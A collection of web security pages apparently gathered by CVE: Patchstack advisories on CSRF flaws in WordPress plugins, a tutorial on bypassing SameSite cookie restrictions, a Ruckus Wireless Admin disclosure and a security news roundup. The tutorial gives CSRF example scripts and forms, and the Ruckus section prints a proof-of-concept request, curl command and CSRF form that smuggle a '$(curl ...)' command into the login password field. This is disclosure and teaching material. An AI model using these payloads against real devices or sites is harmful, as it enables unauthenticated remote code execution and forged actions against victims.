Cross-Site Request Forgery (CSRF) vulnerability in ShapedPlugin WP Tabs – Responsive Tabs Plugin for WordPress plugin <= 2.1.14 versions.

**Solution**

Update the WordPress WP Tabs plugin to the latest available version (at least 2.1.15).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress WP Tabs Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 2.1.15.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25065: WordPress WP Tabs – Responsive Tabs Plugin for WordPress plugin <= 2.1.14 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Photon WP Material Design Icons for Page Builders plugin <= 1.4.2 versions.

**Solution**

Update the WordPress Material Design Icons for Page Builders plugin to the latest available version (at least 1.4.3).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Material Design Icons for Page Builders Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.4.3.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-24382: WordPress Material Design Icons for Page Builders plugin <= 1.4.2 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in ExpressTech Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress plugin <= 8.0.7 versions.

**Solution**

Update the WordPress Quiz And Survey Master plugin to the latest available version (at least 8.0.8).

Oliver K. discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Quiz And Survey Master Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 8.0.8.

**19 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-46862: WordPress Quiz And Survey Master plugin <= 8.0.7 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Ecwid Ecommerce Ecwid Ecommerce Shopping Cart plugin <= 6.11.3 versions.

**Solution**

Update the WordPress Ecwid Shopping Cart plugin to the latest available version (at least 6.11.4).

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Ecwid Shopping Cart Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 6.11.4.

**2 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-24377: WordPress Ecwid Ecommerce Shopping Cart plugin <= 6.11.3 - Cross Site Request Forgery (CSRF) - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Orchestrated Corona Virus (COVID-19) Banner & Live Data plugin <= 1.7.0.6 versions.

**Solution**

No patched version is available. No reply from the vendor.

ptsfence discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Corona Virus (COVID-19) Banner & Live Data Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-43469: WordPress Corona Virus (COVID-19) Banner & Live Data plugin <= 1.7.0.6 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in FolioVision FV Flowplayer Video Player plugin <= 7.5.30.7212 versions.

**Solution**

Update the WordPress FV Flowplayer Video Player plugin to the latest available version (at least 7.5.31.7212).

Cat discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress FV Flowplayer Video Player Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 7.5.31.7212.

**10 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25066: WordPress FV Flowplayer Video Player plugin <= 7.5.30.7212 - Cross Site Request Forgery (CSRF) - Patchstack

An improper SameSite Attribute vulnerability in pimCore v10.5.15 allows attackers to execute arbitrary code.

SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.

Since 2021, Chrome applies Lax SameSite restrictions by default if the website that issues the cookie doesn't explicitly set its own restriction level. This is a proposed standard, and we expect other major browsers to adopt this behavior in the future. As a result, it's essential to have solid grasp of how these restrictions work, as well as how they can potentially be bypassed, in order to thoroughly test for cross-site attack vectors.

In this section, we'll first cover how the SameSite mechanism works and clarify some of the related terminology. We'll then look at some of the most common ways you may be able to bypass these restrictions, enabling CSRF and other cross-site attacks on websites that may initially appear secure.

**What is a site in the context of SameSite cookies?**

In the context of SameSite cookie restrictions, a site is defined as the top-level domain (TLD), usually something like .com or .net, plus one additional level of the domain name. This is often referred to as the TLD+1.

When determining whether a request is same-site or not, the URL scheme is also taken into consideration. This means that a link from http://app.example.com to https://app.example.com is treated as cross-site by most browsers.

**Note**

You may come across the term "effective top-level domain" (eTLD). This is just a way of accounting for the reserved multipart suffixes that are treated as top-level domains in practice, such as .co.uk.

**What's the difference between a site and an origin?**

The difference between a site and an origin is their scope; a site encompasses multiple domain names, whereas an origin only includes one. Although they're closely related, it's important not to use the terms interchangeably as conflating the two can have serious security implications.

Two URLs are considered to have the same origin if they share the exact same scheme, domain name, and port. Although note that the port is often inferred from the scheme.

As you can see from this example, the term "site" is much less specific as it only accounts for the scheme and last part of the domain name. Crucially, this means that a cross-origin request can still be same-site, but not the other way around.

**Request from**

**Request to**

**Same-site?**

**Same-origin?**

https://example.com

https://example.com

Yes

Yes

https://app.example.com

https://intranet.example.com

Yes

No: mismatched domain name

https://example.com

https://example.com:8080

Yes

No: mismatched port

https://example.com

https://example.co.uk

No: mismatched eTLD

No: mismatched domain name

https://example.com

http://example.com

No: mismatched scheme

No: mismatched scheme

This is an important distinction as it means that any vulnerability enabling arbitrary JavaScript execution can be abused to bypass site-based defenses on other domains belonging to the same site. We'll see an example of this in one of the labs later.

**How does SameSite work?**

Before the SameSite mechanism was introduced, browsers sent cookies in every request to the domain that issued them, even if the request was triggered by an unrelated third-party website. SameSite works by enabling browsers and website owners to limit which cross-site requests, if any, should include specific cookies. This can help to reduce users' exposure to CSRF attacks, which induce the victim's browser to issue a request that triggers a harmful action on the vulnerable website. As these requests typically require a cookie associated with the victim's authenticated session, the attack will fail if the browser doesn't include this.

All major browsers currently support the following SameSite restriction levels:

*   Strict
*   Lax
*   None

Developers can manually configure a restriction level for each cookie they set, giving them more control over when these cookies are used. To do this, they just have to include the SameSite attribute in the Set-Cookie response header, along with their preferred value:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

Although this offers some protection against CSRF attacks, none of these restrictions provide guaranteed immunity, as we'll demonstrate using deliberately vulnerable, interactive labs later in this section.

**Note**

If the website issuing the cookie doesn't explicitly set a SameSite attribute, Chrome automatically applies Lax restrictions by default. This means that the cookie is only sent in cross-site requests that meet specific criteria, even though the developers never configured this behavior. As this is a proposed new standard, we expect other major browsers to adopt this behavior in future.

**Strict**

If a cookie is set with the SameSite=Strict attribute, browsers will not send it in any cross-site requests. In simple terms, this means that if the target site for the request does not match the site currently shown in the browser's address bar, it will not include the cookie.

This is recommended when setting cookies that enable the bearer to modify data or perform other sensitive actions, such as accessing specific pages that are only available to authenticated users.

Although this is the most secure option, it can negatively impact the user experience in cases where cross-site functionality is desirable.

**Labs**

*   LAB Bypassing SameSite Strict restrictions using on-site gadgets
*   LAB Bypassing SameSite Strict restrictions via vulnerable sibling domains

**Lax**

Lax SameSite restrictions mean that browsers will send the cookie in cross-site requests, but only if both of the following conditions are met:

*   The request uses the GET method.
    
*   The request resulted from a top-level navigation by the user, such as clicking on a link.
    

This means that the cookie is not included in cross-site POST requests, for example. As POST requests are generally used to perform actions that modify data or state (at least according to best practice), they are much more likely to be the target of CSRF attacks.

Likewise, the cookie is not included in background requests, such as those initiated by scripts, iframes, or references to images and other resources.

**Labs**

*   LAB Bypassing SameSite Lax restrictions using GET requests
*   LAB Bypassing SameSite Lax restrictions with newly issued cookies

**None**

If a cookie is set with the SameSite=None attribute, this effectively disables SameSite restrictions altogether, regardless of the browser. As a result, browsers will send this cookie in all requests to the site that issued it, even those that were triggered by completely unrelated third-party sites.

With the exception of Chrome, this is the default behavior used by major browsers if no SameSite attribute is provided when setting the cookie.

There are legitimate reasons for disabling SameSite, such as when the cookie is intended to be used from a third-party context and doesn't grant the bearer access to any sensitive data or functionality. Tracking cookies are a typical example.

If you encounter a cookie set with SameSite=None or with no explicit restrictions, it's worth investigating whether it's of any use. When the "Lax-by-default" behavior was first adopted by Chrome, this had the side-effect of breaking a lot of existing web functionality. As a quick workaround, some websites have opted to simply disable SameSite restrictions on all cookies, including potentially sensitive ones.

When setting a cookie with SameSite=None, the website must also include the Secure attribute, which ensures that the cookie is only sent in encrypted messages over HTTPS. Otherwise, browsers will reject the cookie and it won't be set.

Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

**Bypassing SameSite Lax restrictions using GET requests**

In practice, servers aren't always fussy about whether they receive a GET or POST request to a given endpoint, even those that are expecting a form submission. If they also use Lax restrictions for their session cookies, either explicitly or due to the browser default, you may still be able to perform a CSRF attack by eliciting a GET request from the victim's browser.

As long as the request involves a top-level navigation, the browser will still include the victim's session cookie. The following is one of the simplest approaches to launching such an attack:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

Even if an ordinary GET request isn't allowed, some frameworks provide ways of overriding the method specified in the request line. For example, Symfony supports the _method parameter in forms, which takes precedence over the normal method for routing purposes:

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Other frameworks support a variety of similar parameters.

**Bypassing SameSite restrictions using on-site gadgets**

If a cookie is set with the SameSite=Strict attribute, browsers won't include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters. For some examples, see our materials on DOM-based open redirection.

As far as browsers are concerned, these client-side redirects aren't really redirects at all; the resulting request is just treated as an ordinary, standalone request. Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.

If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

Note that the equivalent attack is not possible with server-side redirects. In this case, browsers recognize that the request to follow the redirect resulted from a cross-site request initially, so they still apply the appropriate cookie restrictions.

**Bypassing SameSite restrictions via vulnerable sibling domains**

Whether you're testing someone else's website or trying to secure your own, it's essential to keep in mind that a request can still be same-site even if it's issued cross-origin.

Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site's domains to cross-site attacks.

In addition to classic CSRF, don't forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. For more details, see our topic on WebSocket vulnerabilities.

**Bypassing SameSite Lax restrictions with newly issued cookies**

Cookies with Lax SameSite restrictions aren't normally sent in any cross-site POST requests, but there are some exceptions.

As mentioned earlier, if a website doesn't include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn't actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

**Note**

This two-minute window does not apply to cookies that were explicitly set with the SameSite=Lax attribute.

It's somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn't necessarily know whether the user is still logged in to the target site.

To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.

Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn't leave the page before you're able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they're opened via a manual interaction. For example, the following popup will be blocked by the browser by default:

window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

This way, the window.open() method is only invoked when the user clicks somewhere on the page.

CVE-2023-25240: Bypassing SameSite cookie restrictions | Web Security Academy

Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.

Ruckus Wireless Admin suffers from several serious web application weaknesses which allow for Remote Code Execution(RCE), Server-Side Request Forgert (SSRF), Cross-Site Request Forgery (CSRF), and other conditions. This can result in total compromise of the affected devices.

In this public disclosure, Unauthenticated RCE & CSRF vectors are disclosed. Ruckus acknowledged the issue as “known”, however, no public references or CVEs are publicly available or shared.

_**Other conditions are present and will be disclosed at a future date.**_

Date of Initial Disclosure to Vendor – Dec 13th, 2022.  
Discoverer – Ken Pyle, CYBIR.

Ruckus Wireless Admin – Login Portal

  
The following PoC Code snippets allows for RCE / CSRF on Ruckus Wireless Admin (10.4 and earlier):

**_Proof of Concept – Remote Code Execution (CURL)_**

GET /forms/doLogin?login\_username=admin&password=password$(curl%20192.168.1.1)&x=0&y=0

_CURL Command to Launch Command (CURL):_

curl -i -s -k -X $’GET’ \\  
\-H $’Host: CYBIRPOC’ -H $’Origin: https://CYBIRPOC’ -H $’Referer: https://CYBIRPOC/login.asp’ -H $’Upgrade-Insecure-Requests: 1′ -H $’Sec-Fetch-Dest: document’ -H $’Sec-Fetch-Mode: navigate’ -H $’Sec-Fetch-Site: same-origin’ -H $’Sec-Fetch-User: ?1′ -H $’Te: trailers’ -H $’Connection: close’ \\  
$’https://CYBIRPOC/forms/doLogin?login\_username=admin&password=password$(curl%20192.168.1.1)&x=0&y=0′

_**CSRF – PoC Code Snippet**_

In this HTML code snippet, the attacker creates a CROSS-SITE REQUEST FORGERY (CSRF) triggering page:

<form action=”https://target/forms/doLogin”> <input type=”hidden” name=”login\_username” value=”admin” /> <input type=”hidden” name=”password” value=”password$(curl 192.168.1.1)” /> <input type=”hidden” name=”x” value=”0″ /> <input type=”hidden” name=”y” value=”0″ /> <input type=”submit” value=”Submit request” /> </form>

Using this code, an attacker can stage exploit code, exploit the CSRF condition and execute remote code on the target. Seen here, the CSRF/ RCE is triggered by the attacker:

CVE-2023-25717: Proof of Concept - Ruckus Wireless Admin (=<10.4 - Unauthenticated Remote Code Execution / CSRF / SSRF) - CYBIR - Cyber Security, Incident Response, & Digital Forensics

Cross-Site Request Forgery (CSRF) in OptinlyHQ Optinly – Exit Intent, Newsletter Popups, Gamification & Opt-in Forms plugin <= 1.0.15 versions.

**Solution**

Update the WordPress Optinly plugin to the latest available version (at least 1.0.16).

ptsfence discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Optinly Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has been fixed in version 1.0.16.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-41134: WordPress Optinly plugin <= 1.0.15 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Your fortnightly rundown of AppSec vulnerabilities, new hacking techniques, and other cybersecurity news

John Leyden 10 February 2023 at 16:30 UTC

Your fortnightly rundown of AppSec vulnerabilities, new hacking techniques, and other cybersecurity news

KeePass has become the latest password manager utility obliged to defend its reputation following the discovery of an alleged vulnerability.

Security researchers warned that it might be possible to set up a trigger that exports everything from the KeePass database in cleartext, before syphoning off secret data. The vulnerability – whose seriousness is disputed – is being tracked as CVE-2023-24055.

As Bleeping Computer reports, KeePass maintains the issue only comes into play in cases where an attacker already has control of a compromised account – in which case it’s ‘game over’ already.

Issues in password managers have been a particular focus for security researchers since a mishandled security incident involving LastPass last year that eventually prompted the vendor to admit encrypted password vaults had leaked.

Master keys for these vaults were not exposed, limiting the scope for harm, but the affair was nonetheless troubling.

The US Cybersecurity and Infrastructure Security Agency (CISA) is pushing plans to require technology manufacturers to make their products secure by design.

CISA director Jen Easterly and executive assistant director Eric Goldstein outlined the proposals in an essay published by Foreign Affairs magazine.

On Thursday, developers of the OpenSSL project released patches covering a variety of vulnerabilities in the encryption library, including a high impact flaw (tracked as CVE-2023-0286). The flaw meant that sophisticated attackers might be able to either read system memory or cause a denial of service on affected systems.

Thursday also brought news that a sysadmin on Reddit had fallen victim to a phishing attack. The social news site admitted that attackers had “gained access to some internal documents, code, and some internal business systems” while stating that it reckoned “Reddit user passwords and accounts are safe”.

The Daily Swig also recently reported that Google has developed proposals to mitigate the impact of prototype pollution (a class of JavaScript vulnerability), how a security researcher hacked into Toyota’s supplier management network, and on a privacy storm involving a new host of popular pen testing tool XSS Hunter since the last edition of Deserialized. You can catch up with the full range of our recent news coverage by visiting The Daily Swig’s homepage.

Here are some more web security stories and other cybersecurity news that caught our attention in the last fortnight:

**Web Vulnerabilities**

*   Cisco devices / Technology to deploy application containers/virtual machines directly on devices was flawed because user input for the ‘DHCP Client ID’ option wasn’t sanitized / Disclosed with patch on February 1
*   Dompdf / Critical / URI validation failure on SVG parsing / URI validation can be bypassed on SVG parsing, potentially leading to arbitrary object unserialize on PHP, through the phar URL wrapper / disclosed with patch last week
*   F5 BIG-IP / High / Format string flaw in iControl SOAP allows an authenticated attacker to crash the iControl SOAP CGI process or, potentially, execute arbitrary code / Disclosed with a patch on February 1
*   Jira Service Management Server and Data Center / Critical / Broken authentication / vendor alert and patch issued on February 1
*   Skyhigh Security Secure Web Gateway / High / XSS in single sign-on plugin / Disclosed with a patch on January 26

**Research and attack techniques**

*   A detailed analysis of a remote source disclosure vulnerability in PHP development server offers pointers towards necessary follow-up work. The flaw – which meant that the source code of PHP files was exposed as if they were static files – was resolved, but even so “Shodan queries reveal many exposed instances of the built-in server”, the researchers warn
*   A vulnerability in Zoho ManageEngine’s SAML (Security Assertion Markup Language) implementation – dubbed SAML ShowStopper – leaves enterprise-based SSO (Single-Sign-On) deployments at a heightened risk of attack. Security researcher Khoa Dinh offers a detailed analysis of flaw in warning that any vendors (not just ManageEngine) relying on older versions of xmlsec and xalan might be at similar risk
*   A blog post by Skylight Cyber details common misconfigurations in the SaltStack IT orchestration platform, as encountered in the wild, as well as detailing a “novel template injection technique that can achieve remote code execution on a salt-master (or master-of-masters) server”.
*   Proofpoint has discovered that attackers are using malicious third-party OAuth apps to infiltrate organizations’ cloud environments. “Threat actors satisfied Microsoft’s requirements for third-party OAuth apps by abusing the Microsoft ‘verified publisher’ status,” the security researchers report
*   Researchers from Ermetic have discovered an RCE vulnerability impacting services such as Function Apps, App Service and Logic Apps on Azure cloud. The EmojiDeploy vulnerability was sprung through CSRF against source control management service (SCM) Kudu
*   Security researcher ‘eta’ has successfully reverse-engineered the encoding process for barcodes associated with UK mobile rail tickets. The work allows interested parties to decode their own tickets with a web tool developed by the researcher

**Bug bounty / vulnerability disclosure**

*   Google has expanded its OSS-Fuzz project, a free platform for continuous fuzzing to critical open source projects. The technology, which has helped to identify 8,800 vulnerabilities across 850 projects since its launch in 2016, is getting a boost through the offer of higher financial rewards for contributors that integrate new projects into OSS-Fuzz.
*   Security researcher Youssef Sammouda claimed a $44,500 payout after discovering a security flaw that made it possible to take over Facebook/Oculus accounts. As explained in a technical write-up by Sammouda, the hack relied on First-Party access\_token stealing.

**New open source infosec/hacking tools**

*   Checkmarx has put together a built-to-be-vulnerable API application based on the OWASP top 10 API vulnerabilities. The utility – dubbed c{api}tal – is designed to be a learning and training resource focused on API security.
*   Ronin 2.0 offers a revamped version of a free and Open Source Ruby toolkit for security research and development. The latest version of Ronin, enhanced with new API libraries, contains many different CLI commands and Ruby libraries optimized to carry out a range of tasks including scanning for web vulnerabilities and running exploits.
*   Developers have released a new version of EMBA – an embedded device firmware security analyzer geared to the needs of penetration testers. Its functionality is explained on a GitHub page.
*   SH1MMER, an exploit capable of completely unenrolling enterprise-managed Chromebooks.

**For devs**

*   Developers should check out an informative post on integrating Nuclei, an open-source tool for scanning web applications, into their GitHub CI/CD pipelines
*   SBOM Scorecard offers a tool that helps developers to quantify what a well-generated SBOM looks like, accessing the richness of metadata that can later be queried
*   The precloud utility offers an open source CLI that runs checks on infrastructure as code to catch potential deployment issues. The tool, which offers dynamic tests for infrastructure-as-code, works by “comparing resources in CDK diffs and Terraform Plans against the state of your cloud account”

**More industry news**

*   US standards body NIST (National Institute of Standards and Technology) has launched a new voluntary framework for the management of AI-associated risk. NIST’s AI Risk Management Framework is designed towards “improving the ability to incorporate trustworthiness considerations into the design, development, use, and evaluation of AI products, services, and systems”.
*   Scammers are buying ads on Google promoting fraudulent sites that pose as login portals for password management tool Bitwarden.

**For fun**

Codebreakers have decoded a cache of more than 500 encoded letters written by Mary, Queen of Scots, during her years of captivity between 1578 and 1584.

The code – made up only of graphical symbols – was cracked using a combination of “computerized cryptanalysis, manual code-breaking, and linguistic and contextual analysis”, Ars Technica reports.

The letters were relayed by secret couriers, principally to the French ambassador, Michel de Castelnau. However Elizabeth I’s spymaster, Francis Walsingham, had a mole in the French embassy who gave the spy access to decoded copies of the correspondence.

A paper on the codebreaking work, likely to help historians researching the period, was published by specialist journal Cryptologia.

PREVIOUS EDITION Deserialized web security roundup: ‘Catastrophic cyber events’, another T-Mobile breach, more LastPass problems

Tag

#csrf